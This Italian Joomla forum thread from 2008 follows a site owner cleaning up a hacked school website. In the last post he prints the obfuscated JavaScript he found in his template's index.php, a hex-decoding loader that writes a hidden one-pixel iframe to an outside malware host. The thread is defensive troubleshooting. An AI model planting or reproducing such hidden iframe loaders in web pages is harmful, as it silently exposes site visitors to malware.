Joomla.it Forum

Joomla! 1.5.x (versione con supporto terminato) => Joomla! 1.5 => : operaioblu 07 Oct 2008, 12:25:49

: Joomla bucato
: operaioblu 07 Oct 2008, 12:25:49

Buongiorno a tutti,
   nello scorso periodo mi hanno bucato questo sito www.ictraona.it . Ho effettuato l'aggiornamento alla 1.5.7 e cambiato la password di admin. Ora però mi rimane il problema del malware che mi hanno caricato a bordo. Pensavo fosse una segnalazione sbagliata di avast, ma non è cosi. Sul forum di avast un amministratore mi ha detto questo :

Encrypted hidden iframe at the beginning leading to xxxmovies.dip.jp...

Come posso rimediare?

Grazie

S.

: Re: Joomla bucato
: ste 07 Oct 2008, 12:31:47

Ciao operaioblu, controlla nella index.php del tuo template che non ci sia un iframe facendo una ricerca di questa parola.
Se non lo trovi lì, controlla la index.php di Joomla.

: Re: Joomla bucato
: operaioblu 07 Oct 2008, 14:18:09

Grazie a 'Copesc' che è anche un utente di questo forum ho risolto. Avevo nella index.php del template questo codice :

<script type="text/javascript">
function BFD6F5DD5DB451E605DC93C1C(F856A149xxxxxxxxxx){var BABAC8D053646DAAEED97=16;return(parseInt(F856A149xxxxxxxxx4743C9CC,BABAC8D053646DAAEED97));}function EDC0xxxxxxxx99C99(AF1EAFAE6xxxxx8078EBFBC){function FDB6ExxxxxDE29(){var A22AFFBCxxxxxxxxB64DF=2;return A22AFxxxxxxxx63A1B64DF;}var A01766E6154626B4="";for(E846Axxxxxxxx5FDD=0;E846AAB0F24560E5FDD<AF1EAFxxxx09858078EBFBC.length;E846AAB0F24560E5FDD+=FDB6EFBD03C6DE29()){A01766E6154626B4+=(String.fromCharCode(BFD6xxxxxxxxDC93C1C(AF1EAFAE6DAxxxxxxxxx8078EBFBC.substr(E846AAB0F24560E5FDD,FDB6EFBD03C6DE29()))));}document.write(A01766E6154626B4);}EDC04E5FA7431499C99("3C696672616D65207372633D22687474703A2F2 F7878786D6F766965732E6469702E6A702F3135 2F6A735F676F5F66312E7068702220776964746 83D31206865696768743D31207374796C653D22 7669736962696C6974793A68696464656E3B706 F736974696F6E3A6162736F6C757465223E3C2F 696672616D653E");
</script>

Saluti